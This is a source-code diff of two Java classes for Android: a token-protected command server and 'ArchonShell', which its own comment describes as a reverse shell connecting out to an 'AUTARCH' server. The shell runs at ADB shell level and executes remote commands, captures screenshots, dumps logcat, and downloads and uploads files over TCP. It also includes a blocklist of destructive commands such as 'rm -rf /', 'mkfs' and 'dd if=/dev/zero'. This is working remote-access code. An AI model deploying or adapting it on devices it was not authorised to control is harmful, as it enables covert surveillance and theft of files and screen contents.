// Verify auth token
|
||||
if (token == null || !token.equals(authToken)) {
|
||||
log("Auth failed from request");
|
||||
return jsonResponse("", "Authentication failed", -1);
|
||||
}
|
||||
|
||||
if (cmd == null || cmd.isEmpty()) {
|
||||
return jsonResponse("", "No command specified", -1);
|
||||
}
|
||||
|
||||
// Handle special commands
|
||||
switch (cmd) {
|
||||
case "__ping__":
|
||||
return jsonResponse("pong", "", 0);
|
||||
|
||||
case "__shutdown__":
|
||||
log("Shutdown requested");
|
||||
running.set(false);
|
||||
return jsonResponse("Server shutting down", "", 0);
|
||||
|
||||
case "__info__":
|
||||
long uptime = (System.currentTimeMillis() - startTime) / 1000;
|
||||
String info = "uid=" + android.os.Process.myUid() +
|
||||
" pid=" + android.os.Process.myPid() +
|
||||
" uptime=" + uptime + "s";
|
||||
return jsonResponse(info, "", 0);
|
||||
}
|
||||
|
||||
// Safety check
|
||||
if (isBlocked(cmd)) {
|
||||
log("BLOCKED dangerous command: " + cmd);
|
||||
return jsonResponse("", "Command blocked by safety filter", -1);
|
||||
}
|
||||
|
||||
// Execute the command
|
||||
return executeCommand(cmd, timeout);
|
||||
}
|
||||
|
||||
private static boolean isBlocked(String cmd) {
|
||||
String lower = cmd.toLowerCase(Locale.ROOT).trim();
|
||||
for (String pattern : BLOCKED_PATTERNS) {
|
||||
if (lower.contains(pattern.toLowerCase(Locale.ROOT))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static String executeCommand(String cmd, int timeoutSec) {
|
||||
try {
|
||||
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
|
||||
pb.redirectErrorStream(false);
|
||||
Process process = pb.start();
|
||||
|
||||
// Read stdout and stderr in parallel to avoid deadlocks
|
||||
StringBuilder stdout = new StringBuilder();
|
||||
StringBuilder stderr = new StringBuilder();
|
||||
|
||||
Thread stdoutThread = new Thread(() -> {
|
||||
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
if (stdout.length() > 0) stdout.append("\n");
|
||||
stdout.append(line);
|
||||
}
|
||||
} catch (IOException ignored) {}
|
||||
});
|
||||
|
||||
Thread stderrThread = new Thread(() -> {
|
||||
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
if (stderr.length() > 0) stderr.append("\n");
|
||||
stderr.append(line);
|
||||
}
|
||||
} catch (IOException ignored) {}
|
||||
});
|
||||
|
||||
stdoutThread.start();
|
||||
stderrThread.start();
|
||||
|
||||
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
|
||||
|
||||
if (!completed) {
|
||||
process.destroyForcibly();
|
||||
stdoutThread.join(1000);
|
||||
stderrThread.join(1000);
|
||||
return jsonResponse(stdout.toString(), "Command timed out after " + timeoutSec + "s", -1);
|
||||
}
|
||||
|
||||
stdoutThread.join(5000);
|
||||
stderrThread.join(5000);
|
||||
|
||||
return jsonResponse(stdout.toString(), stderr.toString(), process.exitValue());
|
||||
|
||||
} catch (Exception e) {
|
||||
return jsonResponse("", "Execution error: " + e.getMessage(), -1);
|
||||
}
|
||||
}
|
||||
|
||||
// ── JSON helpers (no library dependencies) ──────────────────────
|
||||
|
||||
private static String jsonResponse(String stdout, String stderr, int exitCode) {
|
||||
return "{\"stdout\":" + jsonEscape(stdout) +
|
||||
",\"stderr\":" + jsonEscape(stderr) +
|
||||
",\"exit_code\":" + exitCode + "}";
|
||||
}
|
||||
|
||||
private static String jsonEscape(String s) {
|
||||
if (s == null) return "\"\"";
|
||||
StringBuilder sb = new StringBuilder("\"");
|
||||
for (int i = 0; i < s.length(); i++) {
|
||||
char c = s.charAt(i);
|
||||
switch (c) {
|
||||
case '"': sb.append("\\\""); break;
|
||||
case '\\': sb.append("\\\\"); break;
|
||||
case '\b': sb.append("\\b"); break;
|
||||
case '\f': sb.append("\\f"); break;
|
||||
case '\n': sb.append("\\n"); break;
|
||||
case '\r': sb.append("\\r"); break;
|
||||
case '\t': sb.append("\\t"); break;
|
||||
default:
|
||||
if (c < 0x20) {
|
||||
sb.append(String.format("\\u%04x", (int) c));
|
||||
} else {
|
||||
sb.append(c);
|
||||
}
|
||||
}
|
||||
}
|
||||
sb.append("\"");
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private static String extractJsonString(String json, String key) {
|
||||
// Pattern: "key":"value" or "key": "value"
|
||||
String search = "\"" + key + "\"";
|
||||
int idx = json.indexOf(search);
|
||||
if (idx < 0) return null;
|
||||
|
||||
idx = json.indexOf(':', idx + search.length());
|
||||
if (idx < 0) return null;
|
||||
|
||||
// Skip whitespace
|
||||
idx++;
|
||||
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
|
||||
|
||||
if (idx >= json.length() || json.charAt(idx) != '"') return null;
|
||||
idx++; // skip opening quote
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
while (idx < json.length()) {
|
||||
char c = json.charAt(idx);
|
||||
if (c == '\\' && idx + 1 < json.length()) {
|
||||
char next = json.charAt(idx + 1);
|
||||
switch (next) {
|
||||
case '"': sb.append('"'); break;
|
||||
case '\\': sb.append('\\'); break;
|
||||
case 'n': sb.append('\n'); break;
|
||||
case 'r': sb.append('\r'); break;
|
||||
case 't': sb.append('\t'); break;
|
||||
default: sb.append(next); break;
|
||||
}
|
||||
idx += 2;
|
||||
} else if (c == '"') {
|
||||
break;
|
||||
} else {
|
||||
sb.append(c);
|
||||
idx++;
|
||||
}
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private static int extractJsonInt(String json, String key, int defaultVal) {
|
||||
String search = "\"" + key + "\"";
|
||||
int idx = json.indexOf(search);
|
||||
if (idx < 0) return defaultVal;
|
||||
|
||||
idx = json.indexOf(':', idx + search.length());
|
||||
if (idx < 0) return defaultVal;
|
||||
|
||||
idx++;
|
||||
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
while (idx < json.length() && (Character.isDigit(json.charAt(idx)) || json.charAt(idx) == '-')) {
|
||||
sb.append(json.charAt(idx));
|
||||
idx++;
|
||||
}
|
||||
|
||||
try {
|
||||
return Integer.parseInt(sb.toString());
|
||||
} catch (NumberFormatException e) {
|
||||
return defaultVal;
|
||||
}
|
||||
}
|
||||
|
||||
// ── Logging ─────────────────────────────────────────────────────
|
||||
|
||||
private static void log(String msg) {
|
||||
String timestamp = new SimpleDateFormat("HH:mm:ss", Locale.US).format(new Date());
|
||||
String line = timestamp + " [" + TAG + "] " + msg;
|
||||
System.out.println(line);
|
||||
|
||||
try {
|
||||
FileWriter fw = new FileWriter(LOG_FILE, true);
|
||||
fw.write(line + "\n");
|
||||
fw.close();
|
||||
} catch (IOException ignored) {
|
||||
// Can't write log file — not fatal
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,659 @@
|
||||
package com.darkhal.archon.server;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.File;
|
||||
import java.io.FileWriter;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.OutputStreamWriter;
|
||||
import java.io.PrintWriter;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Socket;
|
||||
import java.text.SimpleDateFormat;
|
||||
import java.util.Date;
|
||||
import java.util.Locale;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
import java.util.concurrent.atomic.AtomicBoolean;
|
||||
|
||||
/**
|
||||
* Archon Reverse Shell — outbound shell connecting back to AUTARCH server.
|
||||
*
|
||||
* Runs via app_process at shell (UID 2000) level, same as ArchonServer.
|
||||
* Instead of LISTENING, this CONNECTS OUT to the AUTARCH server's RevShellListener.
|
||||
*
|
||||
* Started via ADB:
|
||||
* CLASSPATH=/data/app/.../base.apk app_process /system/bin \
|
||||
* --nice-name=archon_shell com.darkhal.archon.server.ArchonShell \
|
||||
* <server_ip> <server_port> <auth_token> <timeout_minutes>
|
||||
*
|
||||
* Protocol (JSON over TCP, newline-delimited):
|
||||
* Auth handshake (client → server):
|
||||
* {"type":"auth","token":"xxx","device":"model","android":"14","uid":2000}
|
||||
* Server response:
|
||||
* {"type":"auth_ok"} or {"type":"auth_fail","reason":"..."}
|
||||
*
|
||||
* Command (server → client):
|
||||
* {"type":"cmd","cmd":"pm list packages","timeout":30,"id":"abc123"}
|
||||
* Response (client → server):
|
||||
* {"type":"result","id":"abc123","stdout":"...","stderr":"...","exit_code":0}
|
||||
*
|
||||
* Special commands (server → client):
|
||||
* {"type":"cmd","cmd":"__sysinfo__","id":"..."}
|
||||
* {"type":"cmd","cmd":"__packages__","id":"..."}
|
||||
* {"type":"cmd","cmd":"__screenshot__","id":"..."}
|
||||
* {"type":"cmd","cmd":"__download__","id":"...","path":"/sdcard/file.txt"}
|
||||
* {"type":"cmd","cmd":"__upload__","id":"...","path":"/sdcard/file.txt","data":"base64..."}
|
||||
* {"type":"cmd","cmd":"__processes__","id":"..."}
|
||||
* {"type":"cmd","cmd":"__netstat__","id":"..."}
|
||||
* {"type":"cmd","cmd":"__dumplog__","id":"...","lines":100}
|
||||
* {"type":"cmd","cmd":"__disconnect__"}
|
||||
*
|
||||
* Keepalive (bidirectional):
|
||||
* {"type":"ping"} → {"type":"pong"}
|
||||
*/
|
||||
public class ArchonShell {
|
||||
|
||||
private static final String TAG = "ArchonShell";
|
||||
private static final String LOG_FILE = "/data/local/tmp/archon_shell.log";
|
||||
private static final int DEFAULT_TIMEOUT = 30;
|
||||
private static final int CONNECT_TIMEOUT_MS = 10000;
|
||||
private static final int KEEPALIVE_INTERVAL_MS = 30000;
|
||||
|
||||
// Same safety blocklist as ArchonServer
|
||||
private static final String[] BLOCKED_PATTERNS = {
|
||||
"rm -rf /",
|
||||
"rm -rf /*",
|
||||
"mkfs",
|
||||
"dd if=/dev/zero",
|
||||
"reboot",
|
||||
"shutdown",
|
||||
"init 0",
|
||||
"init 6",
|
||||
"flash_image",
|
||||
"erase_image",
|
||||
"format_data",
|
||||
"> /dev/block",
|
||||
};
|
||||
|
||||
private static String serverIp;
|
||||
private static int serverPort;
|
||||
private static String authToken;
|
||||
private static int timeoutMinutes;
|
||||
private static final AtomicBoolean running = new AtomicBoolean(true);
|
||||
private static long startTime;
|
||||
private static int commandCount = 0;
|
||||
|
||||
public static void main(String[] args) {
|
||||
if (args.length < 4) {
|
||||
System.err.println("Usage: ArchonShell <server_ip> <server_port> <token> <timeout_minutes>");
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
serverIp = args[0];
|
||||
serverPort = Integer.parseInt(args[1]);
|
||||
authToken = args[2];
|
||||
timeoutMinutes = Integer.parseInt(args[3]);
|
||||
startTime = System.currentTimeMillis();
|
||||
|
||||
log("Starting Archon Shell — connecting to " + serverIp + ":" + serverPort);
|
||||
log("PID: " + android.os.Process.myPid() + " UID: " + android.os.Process.myUid());
|
||||
log("Timeout: " + timeoutMinutes + " minutes");
|
||||
|
||||
// Shutdown hook
|
||||
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
|
||||
log("Shutdown hook triggered");
|
||||
running.set(false);
|
||||
}));
|
||||
|
||||
// Start timeout watchdog
|
||||
Thread watchdog = new Thread(() -> {
|
||||
long deadline = startTime + (timeoutMinutes * 60L * 1000L);
|
||||
while (running.get()) {
|
||||
if (System.currentTimeMillis() > deadline) {
|
||||
log("Auto-timeout after " + timeoutMinutes + " minutes");
|
||||
running.set(false);
|
||||
break;
|
||||
}
|
||||
try { Thread.sleep(5000); } catch (InterruptedException e) { break; }
|
||||
}
|
||||
});
|
||||
watchdog.setDaemon(true);
|
||||
watchdog.start();
|
||||
|
||||
// Connect and run shell loop
|
||||
Socket socket = null;
|
||||
try {
|
||||
socket = new Socket();
|
||||
socket.connect(new InetSocketAddress(serverIp, serverPort), CONNECT_TIMEOUT_MS);
|
||||
socket.setSoTimeout(KEEPALIVE_INTERVAL_MS * 2); // Read timeout for keepalive detection
|
||||
socket.setKeepAlive(true);
|
||||
|
||||
log("Connected to " + serverIp + ":" + serverPort);
|
||||
|
||||
BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
|
||||
PrintWriter writer = new PrintWriter(new OutputStreamWriter(socket.getOutputStream()), true);
|
||||
|
||||
// Send auth handshake
|
||||
if (!authenticate(writer, reader)) {
|
||||
log("Authentication failed — disconnecting");
|
||||
System.exit(3);
|
||||
}
|
||||
|
||||
log("Authenticated — entering shell loop");
|
||||
|
||||
// Main command loop: read commands from server, execute, return results
|
||||
shellLoop(reader, writer);
|
||||
|
||||
} catch (IOException e) {
|
||||
log("Connection failed: " + e.getMessage());
|
||||
System.exit(2);
|
||||
} finally {
|
||||
if (socket != null) {
|
||||
try { socket.close(); } catch (IOException ignored) {}
|
||||
}
|
||||
}
|
||||
|
||||
log("Shell stopped — " + commandCount + " commands executed");
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
private static boolean authenticate(PrintWriter writer, BufferedReader reader) throws IOException {
|
||||
// Gather device info
|
||||
String model = getSystemProp("ro.product.model", "unknown");
|
||||
String androidVer = getSystemProp("ro.build.version.release", "unknown");
|
||||
int uid = android.os.Process.myUid();
|
||||
|
||||
String authMsg = "{\"type\":\"auth\",\"token\":" + jsonEscape(authToken) +
|
||||
",\"device\":" + jsonEscape(model) +
|
||||
",\"android\":" + jsonEscape(androidVer) +
|
||||
",\"uid\":" + uid + "}";
|
||||
|
||||
writer.println(authMsg);
|
||||
writer.flush();
|
||||
|
||||
// Wait for auth response
|
||||
String response = reader.readLine();
|
||||
if (response == null) return false;
|
||||
|
||||
String type = extractJsonString(response, "type");
|
||||
if ("auth_ok".equals(type)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
String reason = extractJsonString(response, "reason");
|
||||
log("Auth rejected: " + (reason != null ? reason : "unknown reason"));
|
||||
return false;
|
||||
}
|
||||
|
||||
private static void shellLoop(BufferedReader reader, PrintWriter writer) {
|
||||
while (running.get()) {
|
||||
try {
|
||||
String line = reader.readLine();
|
||||
if (line == null) {
|
||||
log("Server closed connection");
|
||||
running.set(false);
|
||||
break;
|
||||
}
|
||||
|
||||
String type = extractJsonString(line, "type");
|
||||
if (type == null) continue;
|
||||
|
||||
switch (type) {
|
||||
case "cmd":
|
||||
handleCommand(line, writer);
|
||||
break;
|
||||
case "ping":
|
||||
writer.println("{\"type\":\"pong\"}");
|
||||
writer.flush();
|
||||
break;
|
||||
case "disconnect":
|
||||
log("Server requested disconnect");
|
||||
running.set(false);
|
||||
break;
|
||||
default:
|
||||
log("Unknown message type: " + type);
|
||||
break;
|
||||
}
|
||||
|
||||
} catch (java.net.SocketTimeoutException e) {
|
||||
// Send keepalive ping
|
||||
writer.println("{\"type\":\"ping\"}");
|
||||
writer.flush();
|
||||
} catch (IOException e) {
|
||||
log("Connection error: " + e.getMessage());
|
||||
running.set(false);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void handleCommand(String json, PrintWriter writer) {
|
||||
String cmd = extractJsonString(json, "cmd");
|
||||
String id = extractJsonString(json, "id");
|
||||
int timeout = extractJsonInt(json, "timeout", DEFAULT_TIMEOUT);
|
||||
|
||||
if (cmd == null || cmd.isEmpty()) {
|
||||
sendResult(writer, id, "", "No command specified", -1);
|
||||
return;
|
||||
}
|
||||
|
||||
commandCount++;
|
||||
log("CMD[" + commandCount + "] " + (cmd.length() > 80 ? cmd.substring(0, 80) + "..." : cmd));
|
||||
|
||||
// Handle special commands
|
||||
switch (cmd) {
|
||||
case "__sysinfo__":
|
||||
handleSysinfo(writer, id);
|
||||
return;
|
||||
case "__packages__":
|
||||
handlePackages(writer, id);
|
||||
return;
|
||||
case "__screenshot__":
|
||||
handleScreenshot(writer, id);
|
||||
return;
|
||||
case "__processes__":
|
||||
handleProcesses(writer, id);
|
||||
return;
|
||||
case "__netstat__":
|
||||
handleNetstat(writer, id);
|
||||
return;
|
||||
case "__dumplog__":
|
||||
int lines = extractJsonInt(json, "lines", 100);
|
||||
handleDumplog(writer, id, lines);
|
||||
return;
|
||||
case "__download__":
|
||||
String dlPath = extractJsonString(json, "path");
|
||||
handleDownload(writer, id, dlPath);
|
||||
return;
|
||||
case "__upload__":
|
||||
String ulPath = extractJsonString(json, "path");
|
||||
String ulData = extractJsonString(json, "data");
|
||||
handleUpload(writer, id, ulPath, ulData);
|
||||
return;
|
||||
case "__disconnect__":
|
||||
log("Disconnect command received");
|
||||
running.set(false);
|
||||
sendResult(writer, id, "Disconnecting", "", 0);
|
||||
return;
|
||||
}
|
||||
|
||||
// Safety check
|
||||
if (isBlocked(cmd)) {
|
||||
log("BLOCKED dangerous command: " + cmd);
|
||||
sendResult(writer, id, "", "Command blocked by safety filter", -1);
|
||||
return;
|
||||
}
|
||||
|
||||
// Execute regular shell command
|
||||
String response = executeCommand(cmd, timeout);
|
||||
writer.println(addId(response, id));
|
||||
writer.flush();
|
||||
}
|
||||
|
||||
// ── Special command handlers ────────────────────────────────────
|
||||
|
||||
private static void handleSysinfo(PrintWriter writer, String id) {
|
||||
StringBuilder info = new StringBuilder();
|
||||
info.append("Device: ").append(getSystemProp("ro.product.model", "?")).append("\n");
|
||||
info.append("Manufacturer: ").append(getSystemProp("ro.product.manufacturer", "?")).append("\n");
|
||||
info.append("Android: ").append(getSystemProp("ro.build.version.release", "?")).append("\n");
|
||||
info.append("SDK: ").append(getSystemProp("ro.build.version.sdk", "?")).append("\n");
|
||||
info.append("Build: ").append(getSystemProp("ro.build.display.id", "?")).append("\n");
|
||||
info.append("Kernel: ").append(getSystemProp("ro.build.kernel.id", "?")).append("\n");
|
||||
info.append("SELinux: ").append(readFile("/sys/fs/selinux/enforce", "?")).append("\n");
|
||||
info.append("UID: ").append(android.os.Process.myUid()).append("\n");
|
||||
info.append("PID: ").append(android.os.Process.myPid()).append("\n");
|
||||
info.append("Uptime: ").append((System.currentTimeMillis() - startTime) / 1000).append("s\n");
|
||||
info.append("Commands: ").append(commandCount).append("\n");
|
||||
|
||||
// Disk usage
|
||||
String df = quickExec("df -h /data 2>/dev/null | tail -1", 5);
|
||||
if (df != null && !df.isEmpty()) info.append("Disk: ").append(df.trim()).append("\n");
|
||||
|
||||
// Memory
|
||||
String mem = quickExec("cat /proc/meminfo | head -3", 5);
|
||||
if (mem != null) info.append(mem);
|
||||
|
||||
sendResult(writer, id, info.toString(), "", 0);
|
||||
}
|
||||
|
||||
private static void handlePackages(PrintWriter writer, String id) {
|
||||
String result = quickExec("pm list packages -f 2>/dev/null", 30);
|
||||
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
|
||||
}
|
||||
|
||||
private static void handleScreenshot(PrintWriter writer, String id) {
|
||||
// Capture screenshot to temp file, then base64 encode
|
||||
String tmpFile = "/data/local/tmp/archon_screenshot.png";
|
||||
String captureResult = quickExec("screencap -p " + tmpFile + " 2>&1", 10);
|
||||
|
||||
if (captureResult == null || new File(tmpFile).length() == 0) {
|
||||
sendResult(writer, id, "", "Screenshot failed: " + (captureResult != null ? captureResult : "unknown"), -1);
|
||||
return;
|
||||
}
|
||||
|
||||
// Base64 encode — read in chunks to avoid memory issues
|
||||
String b64 = quickExec("base64 " + tmpFile + " | tr -d '\\n'", 30);
|
||||
quickExec("rm " + tmpFile, 5);
|
||||
|
||||
if (b64 != null && !b64.isEmpty()) {
|
||||
sendResult(writer, id, b64, "", 0);
|
||||
} else {
|
||||
sendResult(writer, id, "", "Failed to encode screenshot", -1);
|
||||
}
|
||||
}
|
||||
|
||||
private static void handleProcesses(PrintWriter writer, String id) {
|
||||
String result = quickExec("ps -A -o PID,UID,STAT,NAME 2>/dev/null || ps -A 2>/dev/null", 10);
|
||||
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
|
||||
}
|
||||
|
||||
private static void handleNetstat(PrintWriter writer, String id) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
|
||||
String tcp = quickExec("cat /proc/net/tcp 2>/dev/null", 5);
|
||||
if (tcp != null) { sb.append("=== TCP ===\n").append(tcp).append("\n"); }
|
||||
|
||||
String tcp6 = quickExec("cat /proc/net/tcp6 2>/dev/null", 5);
|
||||
if (tcp6 != null) { sb.append("=== TCP6 ===\n").append(tcp6).append("\n"); }
|
||||
|
||||
String udp = quickExec("cat /proc/net/udp 2>/dev/null", 5);
|
||||
if (udp != null) { sb.append("=== UDP ===\n").append(udp).append("\n"); }
|
||||
|
||||
sendResult(writer, id, sb.toString(), "", 0);
|
||||
}
|
||||
|
||||
private static void handleDumplog(PrintWriter writer, String id, int lines) {
|
||||
String result = quickExec("logcat -d -t " + Math.min(lines, 5000) + " 2>/dev/null", 15);
|
||||
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
|
||||
}
|
||||
|
||||
private static void handleDownload(PrintWriter writer, String id, String path) {
|
||||
if (path == null || path.isEmpty()) {
|
||||
sendResult(writer, id, "", "No path specified", -1);
|
||||
return;
|
||||
}
|
||||
|
||||
File file = new File(path);
|
||||
if (!file.exists()) {
|
||||
sendResult(writer, id, "", "File not found: " + path, -1);
|
||||
return;
|
||||
}
|
||||
|
||||
if (file.length() > 50 * 1024 * 1024) { // 50MB limit
|
||||
sendResult(writer, id, "", "File too large (>50MB): " + file.length(), -1);
|
||||
return;
|
||||
}
|
||||
|
||||
String b64 = quickExec("base64 '" + path.replace("'", "'\\''") + "' | tr -d '\\n'", 60);
|
||||
if (b64 != null && !b64.isEmpty()) {
|
||||
// Send with metadata
|
||||
String meta = "{\"type\":\"result\",\"id\":" + jsonEscape(id != null ? id : "") +
|
||||
",\"stdout\":" + jsonEscape(b64) +
|
||||
",\"stderr\":\"\",\"exit_code\":0" +
|
||||
",\"filename\":" + jsonEscape(file.getName()) +
|
||||
",\"size\":" + file.length() + "}";
|
||||
writer.println(meta);
|
||||
writer.flush();
|
||||
} else {
|
||||
sendResult(writer, id, "", "Failed to read file", -1);
|
||||
}
|
||||
}
|
||||
|
||||
private static void handleUpload(PrintWriter writer, String id, String path, String data) {
|
||||
if (path == null || path.isEmpty()) {
|
||||
sendResult(writer, id, "", "No path specified", -1);
|
||||
return;
|
||||
}
|
||||
if (data == null || data.isEmpty()) {
|
||||
sendResult(writer, id, "", "No data specified", -1);
|
||||
return;
|
||||
}
|
||||
|
||||
// Write base64 data to temp file, then decode to destination
|
||||
String tmpFile = "/data/local/tmp/archon_upload_tmp";
|
||||
try {
|
||||
FileWriter fw = new FileWriter(tmpFile);
|
||||
fw.write(data);
|
||||
fw.close();
|
||||
|
||||
String result = quickExec("base64 -d " + tmpFile + " > '" + path.replace("'", "'\\''") + "' 2>&1", 30);
|
||||
quickExec("rm " + tmpFile, 5);
|
||||
|
||||
File dest = new File(path);
|
||||
if (dest.exists()) {
|
||||
sendResult(writer, id, "Uploaded " + dest.length() + " bytes to " + path, "", 0);
|
||||
} else {
|
||||
sendResult(writer, id, "", "Upload failed: " + (result != null ? result : "unknown"), -1);
|
||||
}
|
||||
} catch (IOException e) {
|
||||
sendResult(writer, id, "", "Upload error: " + e.getMessage(), -1);
|
||||
}
|
||||
}
|
||||
|
||||
// ── Command execution ──────────────────────────────────────────
|
||||
|
||||
private static boolean isBlocked(String cmd) {
|
||||
String lower = cmd.toLowerCase(Locale.ROOT).trim();
|
||||
for (String pattern : BLOCKED_PATTERNS) {
|
||||
if (lower.contains(pattern.toLowerCase(Locale.ROOT))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static String executeCommand(String cmd, int timeoutSec) {
|
||||
try {
|
||||
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
|
||||
pb.redirectErrorStream(false);
|
||||
Process process = pb.start();
|
||||
|
||||
StringBuilder stdout = new StringBuilder();
|
||||
StringBuilder stderr = new StringBuilder();
|
||||
|
||||
Thread stdoutThread = new Thread(() -> {
|
||||
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
if (stdout.length() > 0) stdout.append("\n");
|
||||
stdout.append(line);
|
||||
}
|
||||
} catch (IOException ignored) {}
|
||||
});
|
||||
|
||||
Thread stderrThread = new Thread(() -> {
|
||||
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
if (stderr.length() > 0) stderr.append("\n");
|
||||
stderr.append(line);
|
||||
}
|
||||
} catch (IOException ignored) {}
|
||||
});
|
||||
|
||||
stdoutThread.start();
|
||||
stderrThread.start();
|
||||
|
||||
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
|
||||
|
||||
if (!completed) {
|
||||
process.destroyForcibly();
|
||||
stdoutThread.join(1000);
|
||||
stderrThread.join(1000);
|
||||
return jsonResult(stdout.toString(), "Command timed out after " + timeoutSec + "s", -1);
|
||||
}
|
||||
|
||||
stdoutThread.join(5000);
|
||||
stderrThread.join(5000);
|
||||
|
||||
return jsonResult(stdout.toString(), stderr.toString(), process.exitValue());
|
||||
|
||||
} catch (Exception e) {
|
||||
return jsonResult("", "Execution error: " + e.getMessage(), -1);
|
||||
}
|
||||
}
|
||||
|
||||
/** Quick exec for internal use — returns stdout or null on failure. */
|
||||
private static String quickExec(String cmd, int timeoutSec) {
|
||||
try {
|
||||
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
|
||||
pb.redirectErrorStream(true);
|
||||
Process process = pb.start();
|
||||
|
||||
StringBuilder output = new StringBuilder();
|
||||
Thread reader = new Thread(() -> {
|
||||
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
if (output.length() > 0) output.append("\n");
|
||||
output.append(line);
|
||||
}
|
||||
} catch (IOException ignored) {}
|
||||
});
|
||||
reader.start();
|
||||
|
||||
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
|
||||
if (!completed) {
|
||||
process.destroyForcibly();
|
||||
}
|
||||
reader.join(2000);
|
||||
return output.toString();
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static String getSystemProp(String key, String defaultVal) {
|
||||
String result = quickExec("getprop " + key, 5);
|
||||
return (result != null && !result.isEmpty()) ? result.trim() : defaultVal;
|
||||
}
|
||||
|
||||
private static String readFile(String path, String defaultVal) {
|
||||
String result = quickExec("cat " + path + " 2>/dev/null", 5);
|
||||
return (result != null && !result.isEmpty()) ? result.trim() : defaultVal;
|
||||
}
|
||||
|
||||
// ── JSON helpers ───────────────────────────────────────────────
|
||||
|
||||
private static void sendResult(PrintWriter writer, String id, String stdout, String stderr, int exitCode) {
|
||||
String msg = "{\"type\":\"result\",\"id\":" + jsonEscape(id != null ? id : "") +
|
||||
",\"stdout\":" + jsonEscape(stdout) +
|
||||
",\"stderr\":" + jsonEscape(stderr) +
|
||||
",\"exit_code\":" + exitCode + "}";
|
||||
writer.println(msg);
|
||||
writer.flush();
|
||||
}
|
||||
|
||||
private static String jsonResult(String stdout, String stderr, int exitCode) {
|
||||
return "{\"type\":\"result\",\"stdout\":" + jsonEscape(stdout) +
|
||||
",\"stderr\":" + jsonEscape(stderr) +
|
||||
",\"exit_code\":" + exitCode + "}";
|
||||
}
|
||||
|
||||
private static String addId(String jsonResult, String id) {
|
||||
if (id == null || id.isEmpty()) return jsonResult;
|
||||
// Insert id field after opening brace
|
||||
return "{\"type\":\"result\",\"id\":" + jsonEscape(id) + "," + jsonResult.substring(1);
|
||||
}
|
||||
|
||||
private static String jsonEscape(String s) {
|
||||
if (s == null) return "\"\"";
|
||||
StringBuilder sb = new StringBuilder("\"");
|
||||
for (int i = 0; i < s.length(); i++) {
|
||||
char c = s.charAt(i);
|
||||
switch (c) {
|
||||
case '"': sb.append("\\\""); break;
|
||||
case '\\': sb.append("\\\\"); break;
|
||||
case '\b': sb.append("\\b"); break;
|
||||
case '\f': sb.append("\\f"); break;
|
||||
case '\n': sb.append("\\n"); break;
|
||||
case '\r': sb.append("\\r"); break;
|
||||
case '\t': sb.append("\\t"); break;
|
||||
default:
|
||||
if (c < 0x20) {
|
||||
sb.append(String.format("\\u%04x", (int) c));
|
||||
} else {
|
||||
sb.append(c);
|
||||
}
|
||||
}
|
||||
}
|
||||
sb.append("\"");
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private static String extractJsonString(String json, String key) {
|
||||
String search = "\"" + key + "\"";
|
||||
int idx = json.indexOf(search);
|
||||
if (idx < 0) return null;
|
||||
|
||||
idx = json.indexOf(':', idx + search.length());
|
||||
if (idx < 0) return null;
|
||||
idx++;
|
||||
|
||||
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
|
||||
if (idx >= json.length() || json.charAt(idx) != '"') return null;
|
||||
idx++;
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
while (idx < json.length()) {
|
||||
char c = json.charAt(idx);
|
||||
if (c == '\\' && idx + 1 < json.length()) {
|
||||
char next = json.charAt(idx + 1);
|
||||
switch (next) {
|
||||
case '"': sb.append('"'); break;
|
||||
case '\\': sb.append('\\'); break;
|
||||
case 'n': sb.append('\n'); break;
|
||||
case 'r': sb.append('\r'); break;
|
||||
case 't': sb.append('\t'); break;
|
||||
default: sb.append(next); break;
|
||||
}
|
||||
idx += 2;
|
||||
} else if (c == '"') {
|
||||
break;
|
||||
} else {
|
||||
sb.append(c);
|
||||
idx++;
|
||||
}
|
||||
}
|
||||
